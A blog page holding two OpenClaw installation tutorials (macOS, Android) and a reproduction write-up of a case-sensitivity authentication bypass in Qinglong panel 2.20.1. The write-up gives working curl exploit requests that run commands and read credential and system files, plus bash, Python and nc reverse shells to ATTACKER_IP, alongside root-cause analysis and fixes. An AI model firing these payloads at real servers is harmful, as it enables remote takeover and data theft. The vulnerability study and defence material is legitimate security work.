教程 on 逍遥笔记

OpenClaw 部署教程 - macOS 篇（2026 最新版）

Tue, 10 Mar 2026 16:00:00 +0800

联系逍遥

扫码添加微信，或点击下方按钮复制联系方式。

进微信群请联系博主，各位觉得文章对你有帮助的话可否打赏一些呀~

OpenClaw 部署教程 - macOS 篇（2026 最新版）

📅 更新时间：2026-03-10 ⏱️ 阅读时间：8 分钟 💡 难度等级：⭐⭐☆☆☆

OpenClaw 是一款强大的 AI 助手框架，支持 macOS 平台部署。本文整合官方文档和社区最佳实践，详细介绍 macOS 平台的安装配置流程。

geo_target: “cn”—

📚 推荐学习路径

官方文档（最权威）：

社区实战：

📋 系统要求

项目	最低要求	推荐配置
操作系统	macOS 11+	macOS 14+ (Sonoma)
内存	4GB	8GB+ (M 系列芯片优化更好)
磁盘	10GB	20GB+ SSD
Node.js	v18+	v20+
Python	3.8+	3.10+

🚀 快速安装（5 分钟）

方法一：Homebrew 安装（推荐）

# 1. 安装 Homebrew（如果未安装）
/bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"

# 2. 安装 Node.js
brew install node@20

# 3. 安装 OpenClaw
npm install -g openclaw

# 4. 验证安装
openclaw --version

方法二：一键脚本安装

# 使用官方一键安装脚本
curl -fsSL https://docs.openclaw.ai/zh-CN/install | bash

# 验证安装
openclaw --version

🔧 详细配置步骤

1. 初始化工作区

# 创建工作区
mkdir -p ~/openclaw-workspace
cd ~/openclaw-workspace

# 初始化配置
openclaw init

2. 配置 API Keys

编辑配置文件：

nano ~/.openclaw/workspace/TOOLS.md

必需配置：

## API Keys

### 阿里云百炼（推荐）
- Key: `sk-xxxxxxxxxxxxxxxx`
- 模型：qwen3.5-plus

### 火山引擎（备选）
- Key: `xxxxxxxxxxxxxxxx`
- 模型：doubao-seed-2.0-code

### 本地模型（Ollama）
- URL: `http://localhost:11434`
- 模型：`qwen2.5:7b`

3. 配置代理（中国大陆用户）

编辑 Clash 配置：

nano ~/.config/clash/config.yaml

或者使用环境变量（添加到 ~/.zshrc 或 ~/.bash_profile）：

export HTTP_PROXY=http://127.0.0.1:7890
export HTTPS_PROXY=http://127.0.0.1:7890

# 使配置生效
source ~/.zshrc

🚀 高级配置

1. 本地模型配置（Ollama）

安装 Ollama：

# 使用 Homebrew 安装
brew install ollama

# 或者下载安装
curl -fsSL https://ollama.com/install.sh | sh

# 拉取模型
ollama pull qwen2.5:7b

# 启动服务
ollama serve

配置 OpenClaw 使用本地模型：

nano ~/.openclaw/config.json

添加：

{
 "model": {
 "provider": "ollama",
 "endpoint": "http://localhost:11434",
 "model": "qwen2.5:7b"
 }
}

2. systemd 替代方案（launchd）

macOS 使用 launchd 管理服务。创建服务文件：

nano ~/Library/LaunchAgents/com.openclaw.gateway.plist

内容：

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
 <key>Label</key>
 <string>com.openclaw.gateway</string>
 <key>ProgramArguments</key>
 <array>
 <string>/usr/local/bin/openclaw</string>
 <string>gateway</string>
 <string>start</string>
 </array>
 <key>RunAtLoad</key>
 <true/>
 <key>KeepAlive</key>
 <true/>
 <key>WorkingDirectory</key>
 <string>/Users/你的用户名/.openclaw/workspace</string>
</dict>
</plist>

加载服务：

# 加载服务
launchctl load ~/Library/LaunchAgents/com.openclaw.gateway.plist

# 启动服务
launchctl start com.openclaw.gateway

# 查看状态
launchctl list | grep openclaw

3. 日志管理

# 查看日志
tail -f ~/.openclaw/workspace/memory/*.log

# 清理旧日志（保留最近 7 天）
find ~/.openclaw/workspace/memory -name "*.log" -mtime +7 -delete

🔍 常见问题解决

1. 端口被占用

# 检查端口占用
lsof -i :18789

# 杀死占用进程
kill -9 <PID>

# 或者修改 OpenClaw 端口
nano ~/.openclaw/config.json
# 修改 "port": 18790

2. 内存不足

# 查看内存使用
top -l 1 | grep PhysMem

# 关闭不需要的应用
# 或者增加 Swap（不推荐，会影响性能）

3. Node.js 版本不兼容

# 使用 nvm 管理 Node.js 版本
brew install nvm

# 安装 Node.js 20
nvm install 20
nvm use 20

# 重新安装 OpenClaw
npm uninstall -g openclaw
npm install -g openclaw

4. 权限问题

# 修复 npm 全局目录权限
sudo chown -R $(whoami) /usr/local/lib/node_modules

# 或者使用 nvm（推荐）
brew install nvm

5. 本地模型无法连接

# 检查 Ollama 服务
ps aux | grep ollama

# 重启 Ollama
brew services restart ollama

# 测试连接
curl http://localhost:11434/api/tags

6. 网络连接问题

# 测试网络连接
curl -I https://api.binance.com

# 配置代理后测试
curl -x http://127.0.0.1:7890 -I https://api.binance.com

# 如果还是失败，检查代理状态
ps aux | grep clash

📊 性能优化

1. Apple Silicon 优化

M 系列芯片优化建议：

# 使用 ARM 版本的 Node.js
nvm install 20 --arch=arm64
nvm use 20

# 使用原生模型（更快更省电）
ollama pull qwen2.5:7b-instruct-q4_0

2. 调整 Node.js 内存

# 编辑启动脚本或添加环境变量
export NODE_OPTIONS="--max-old-space-size=4096"

3. 使用 SSD 存储

确保工作区在 SSD 上（Mac 默认就是 SSD）：

# 检查工作区位置
df -h ~/.openclaw

4. 定期清理

# 清理 npm 缓存
npm cache clean --force

# 清理 Ollama 旧模型
ollama rm <model-name>

# 清理 OpenClaw 日志
find ~/.openclaw/workspace/memory -name "*.log" -mtime +7 -delete

✅ 验证安装

# 1. 检查版本
openclaw --version

# 2. 检查网关状态
openclaw gateway status

# 3. 发送测试消息
openclaw message send "Hello OpenClaw!"

# 4. 检查日志
tail -f ~/.openclaw/workspace/memory/*.log

成功标志：

✅ 版本号正常显示
✅ 网关状态显示"Running"
✅ 能收到 AI 回复
✅ 日志无 ERROR 级别错误

📚 更多资源

官方文档

社区教程

其他平台

最后更新：2026-03-10 作者：OpenClaw 社区 许可：MIT

觉得有用？欢迎分享给更多朋友！ 🚀

OpenClaw 部署教程 - Android 篇

Tue, 03 Mar 2026 16:15:00 +0800

联系逍遥

扫码添加微信，或点击下方按钮复制联系方式。

进微信群请联系博主，各位觉得文章对你有帮助的话可否打赏一些呀~

OpenClaw 部署教程 - Android 篇

使用 Termux 在 Android 设备上运行 OpenClaw，随时随地管理你的 AI 助手

geo_target: “cn”—

📋 系统要求

项目	要求
Android 版本	10.0+
内存	4GB+ (推荐 8GB)
存储	5GB+ 可用空间
应用	Termux (从 F-Droid 下载)

🔧 安装步骤

1. 安装 Termux

重要: 从 F-Droid 下载，不要从 Google Play 下载（版本过旧）

F-Droid: https://f-droid.org/packages/com.termux/
GitHub: https://github.com/termux/termux-app/releases

2. 更新 Termux

termux-setup-storage
pkg update && pkg upgrade

3. 安装依赖

# 安装 Node.js
pkg install nodejs

# 安装 Python
pkg install python

# 安装构建工具
pkg install build-tools wget curl git

4. 安装 OpenClaw

npm install -g openclaw

# 验证安装
openclaw --version

5. 初始化

mkdir -p ~/openclaw-workspace
cd ~/openclaw-workspace
openclaw init

⚙️ 配置优化

Termux 后台运行

Android 会杀死后台进程，需要配置：

打开 Termux 设置
启用 “Acquire Wakelock”
禁用 “Battery Optimization”

通知栏快捷方式

# 创建快捷方式脚本
cat > ~/start-openclaw.sh << 'EOF'
#!/data/data/com.termux/files/usr/bin/bash
cd ~/openclaw-workspace
openclaw gateway start
EOF
chmod +x ~/start-openclaw.sh

📱 使用场景

1. 远程管理服务器

# 通过 SSH 连接服务器
ssh root@your-server.com

# 在服务器上执行 OpenClaw 命令
openclaw gateway status

2. 消息推送

# 发送 Telegram 消息
openclaw message send --target telegram "服务器状态正常"

3. 定时任务

# 使用 termux-job-scheduler
termux-job-scheduler --period-ms 7200000 --script ~/check-server.sh

🔍 常见问题

1. 存储空间不足

# 清理缓存
pkg clean

# 查看存储使用
du -sh ~/.termux

2. 网络连接问题

# 检查网络
ping 8.8.8.8

# 使用代理
export https_proxy=http://127.0.0.1:7890

3. Termux API 权限

# 安装 Termux:API
pkg install termux-api

# 授予权限（需要在 Android 设置中）
termux-notification --title "测试" --content "通知测试"

✅ 验证安装

# 检查网关状态
openclaw gateway status

# 发送测试消息
openclaw message send "Hello from Android!"

📱 推荐配件

配件	用途
蓝牙键盘	提高输入效率
手机支架	固定设备
充电宝	长时间运行

2026-03-03 | OpenClaw Android 部署教程

上一篇: macOS 部署教程

🎯 四端部署完成！

恭喜你完成 OpenClaw 全平台部署学习！

平台	教程
🐧 Linux	查看教程
🪟 Windows	查看教程
🍎 macOS	查看教程
📱 Android	查看教程

青龙面板鉴权绕过漏洞复现 - 从路径大小写到 RCE

Sat, 28 Feb 2026 16:45:00 +0800

联系逍遥

扫码添加微信，或点击下方按钮复制联系方式。

进微信群请联系博主，各位觉得文章对你有帮助的话可否打赏一些呀~

⚠️ 时效性提醒（2026-07 更新）：本文发布于 2026 年 2 月，距今已近 5 个月。青龙面板该鉴权绕过漏洞在新版本中大概率已修复，当前可用性存疑。本文保留仅供漏洞复现学习参考，文中使用 Docker 部署的是历史漏洞版本。

使用 Docker 部署漏洞版本

docker run -d -p 5700:5700 -v $(pwd)/data:/ql/data –name qinglong whyour/qinglong:2.20.1

访问面板

http://localhost:5700


### 2. 验证环境

```bash
# 检查版本
curl http://localhost:5700/api/system/version

# 预期输出
{"data":"2.20.1","code":200}

💥 漏洞复现

步骤 1: 验证鉴权绕过

正常情况（需要认证）：

# 直接访问 /api/ 路径会被拦截
curl -X PUT "http://localhost:5700/api/system/command-run" \
 -H "Content-Type: application/json" \
 -d '{"command": "id"}'

# 响应：401 Unauthorized
{"code":401,"message":"未授权访问"}

利用大小写绕过：

# 使用 /API/ (大写) 绕过鉴权
curl -X PUT "http://localhost:5700/API/system/command-run" \
 -H "Content-Type: application/json" \
 -d '{"command": "id"}'

# 响应：200 OK
{
 "code": 200,
 "data": "uid=0(root) gid=0(root) groups=0(root)"
}

步骤 2: 执行系统命令

获取系统信息：

# 查看当前用户
curl -X PUT "http://localhost:5700/API/system/command-run" \
 -H "Content-Type: application/json" \
 -d '{"command": "whoami"}'

# 查看主机名
curl -X PUT "http://localhost:5700/API/system/command-run" \
 -H "Content-Type: application/json" \
 -d '{"command": "hostname"}'

# 查看环境变量
curl -X PUT "http://localhost:5700/API/system/command-run" \
 -H "Content-Type: application/json" \
 -d '{"command": "env"}'

读取敏感文件：

# 读取青龙配置文件
curl -X PUT "http://localhost:5700/API/system/command-run" \
 -H "Content-Type: application/json" \
 -d '{"command": "cat /ql/data/config/auth.json"}'

# 读取系统密码本 (需要 root 权限)
curl -X PUT "http://localhost:5700/API/system/command-run" \
 -H "Content-Type: application/json" \
 -d '{"command": "cat /etc/passwd"}'

步骤 3: 获取 Shell

反弹 Shell：

# Bash 反弹
curl -X PUT "http://localhost:5700/API/system/command-run" \
 -H "Content-Type: application/json" \
 -d '{"command": "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"}'

# Python 反弹
curl -X PUT "http://localhost:5700/API/system/command-run" \
 -H "Content-Type: application/json" \
 -d '{"command": "python3 -c \"import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"\"ATTACKER_IP\"\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\"\"/bin/sh\"\",\"\"-i\"\"]);\""}'

# NC 反弹
curl -X PUT "http://localhost:5700/API/system/command-run" \
 -H "Content-Type: application/json" \
 -d '{"command": "nc -e /bin/sh ATTACKER_IP 4444"}'

🔍 技术细节分析

1. Express 路由大小写不敏感

Express 框架默认对路由大小写不敏感：

const express = require('express');
const app = express();

app.get('/api/test', (req, res) => {
 res.send('Hello');
});

// 以下请求都能匹配到上述路由
// GET /api/test ✓
// GET /API/test ✓
// GET /Api/test ✓
// GET /aPi/TeSt ✓

这是 Express 的默认行为，可以通过 app.set('case sensitive routing', true) 启用大小写敏感。

2. 鉴权中间件逻辑漏洞

问题代码：

// back/loaders/express.ts
app.use((req, res, next) => {
 // 白名单路径，不需要鉴权
 if (!['/open/', '/api/'].some((x) => req.path.startsWith(x))) {
 return next(); // 跳过 JWT 校验
 }

 // 验证 JWT 令牌
 const token = req.headers.authorization;
 if (!verifyToken(token)) {
 return res.status(401).json({ code: 401, message: '未授权' });
 }

 next();
});

绕过原理：

请求路径：/API/system/command-run

1. req.path = '/API/system/command-run'
2. req.path.startsWith('/api/') = false ← 大小写不匹配
3. 条件为真，执行 next() ← 跳过 JWT 校验
4. Express 路由匹配：/API/ → /api/ ← 大小写不敏感，成功匹配
5. 执行命令执行接口 ← 未授权访问成功

3. 可利用 API 接口

青龙面板提供多个危险 API 接口：

接口路径	功能	危险等级
`/api/system/command-run`	执行系统命令	🔴 严重
`/api/env`	管理环境变量	🟠 高
`/api/repo`	管理仓库	🟠 高
`/api/subscription`	管理订阅	🟡 中
`/api/user`	用户管理	🟠 高

🛡️ 防御建议

1. 官方修复方案

修复鉴权逻辑：

// 修复后：使用正则忽略大小写
const authPaths = [/^\/open\//i, /^\/api\//i];

app.use((req, res, next) => {
 if (!authPaths.some((pattern) => pattern.test(req.path))) {
 return next();
 }

 // 验证 JWT 令牌
 const token = req.headers.authorization;
 if (!verifyToken(token)) {
 return res.status(401).json({ code: 401, message: '未授权' });
 }

 next();
});

启用大小写敏感路由：

const app = express();
app.set('case sensitive routing', true); // 启用大小写敏感

// 现在 /API/ 和 /api/ 是两个不同的路由

2. 临时缓解措施

方案 1: 反向代理过滤

# Nginx 配置
location / {
 # 强制转换为小写
 set $lower_uri $uri;
 if ($uri ~* ^/(API)/) {
 return 403; # 拦截大写 API 路径
 }

 proxy_pass http://localhost:5700;
}

方案 2: WAF 规则

# ModSecurity 规则
SecRule REQUEST_URI "@rx (?i)/API/" \
 "id:1001,\
 phase:1,\
 deny,\
 status:403,\
 msg:'QL Panel Auth Bypass Attempt'"

3. 用户侧防护

# 1. 限制访问来源
iptables -A INPUT -p tcp --dport 5700 -s 127.0.0.1 -j ACCEPT
iptables -A INPUT -p tcp --dport 5700 -j DROP

# 2. 使用强认证
# 修改默认密码
# 启用双因素认证 (如果支持)

# 3. 定期更新
docker pull whyour/qinglong:latest
docker restart qinglong

# 4. 监控日志
tail -f /ql/log/system.log | grep -E "(API|command|auth)"

📊 影响评估

受影响版本

版本	状态
2.20.1	❌ 受影响
2.20.0	❌ 可能受影响
2.19.x	⚠️ 待确认
< 2.19	⚠️ 待确认

潜在危害

服务器完全沦陷 - 攻击者可执行任意命令
数据泄露 - 读取配置文件、数据库、密钥
内网渗透 - 以服务器为跳板攻击内网
挖矿/僵尸网络 - 植入恶意程序

攻击场景

互联网扫描 → 发现 5700 端口 → 利用鉴权绕过 → 执行命令
 → 读取配置 → 获取数据库密码 → 数据泄露
 → 植入后门 → 持久化控制 → 内网横向移动

🔗 相关漏洞案例

1. JWT 鉴权绕过常见手法

手法	描述	案例
大小写绕过	`/API/` vs `/api/`	本文漏洞
路径遍历	`/..//api/`	CVE-2023-XXXX
编码绕过	URL 编码、Unicode	CVE-2022-XXXX
算法混淆	`alg: none`	JWT 经典漏洞

2. Node.js/Express 类似漏洞

CVE-2024-29180: express-fileupload 路径遍历
CVE-2022-24999: Express 原型污染
CVE-2024-45590: app-html 包 RCE

📝 时间线

日期	事件
2026-02-27	漏洞首次披露 (GitHub Issue #2934)
2026-02-28	漏洞细节公开
2026-02-28	本文发布
TBD	CVE 编号分配
TBD	官方修复版本发布

📚 参考资料

🏷️ Tags

#鉴权绕过 #RCE #青龙面板 #Node.js 安全 #Express #漏洞复现 #渗透测试

本文基于公开披露的漏洞信息编写，旨在提高安全意识。请合法使用安全技术。